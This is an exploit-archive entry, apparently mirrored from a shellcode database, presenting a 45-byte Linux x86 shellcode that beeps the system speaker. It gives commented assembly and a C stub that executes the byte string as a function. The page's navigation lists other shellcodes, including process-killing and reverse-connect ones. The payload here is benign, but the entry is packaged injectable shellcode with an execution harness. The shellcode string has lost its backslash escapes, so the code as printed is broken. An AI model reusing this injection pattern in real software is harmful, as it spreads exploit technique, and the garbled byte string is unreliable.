[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 system-beep shellcode 45 bytes
# Published : 2008-09-09
# Author : Thomas Rinsma
# Previous Title : freebsd/x86 kill all processes 12 bytes
# Next Title : freebsd/x86 rev connect, recv, jmp, return results 90 bytes
/*
By Thomas Rinsma <me[at]th0mas.nl> (16 apr. 2008)
Shellcode makes system speaker beep once, 45 bytes:
; int fd = open("/dev/tty10", O_RDONLY);
push byte 5
pop eax
cdq
push edx
push 0x30317974
push 0x742f2f2f
push 0x7665642f
mov ebx, esp
mov ecx, edx
int 80h
; ioctl(fd, KDMKTONE (19248), 66729180);
mov ebx, eax
push byte 54
pop eax
mov ecx, 4294948047
not ecx
mov edx, 66729180
int 80h
*/
main()
{
char shellcode[] =
"x6ax05x58x99x52x68x74x79x31x30x68x2fx2fx2fx74"
"x68x2fx64x65x76x89xe3x89xd1xcdx80x89xc3x6ax36"
"x58xb9xcfxb4xffxffxf7xd1xbaxdcx34xfax03xcdx80";
(*(void (*)()) shellcode)();
}
// www.Syue.com [2008-09-09]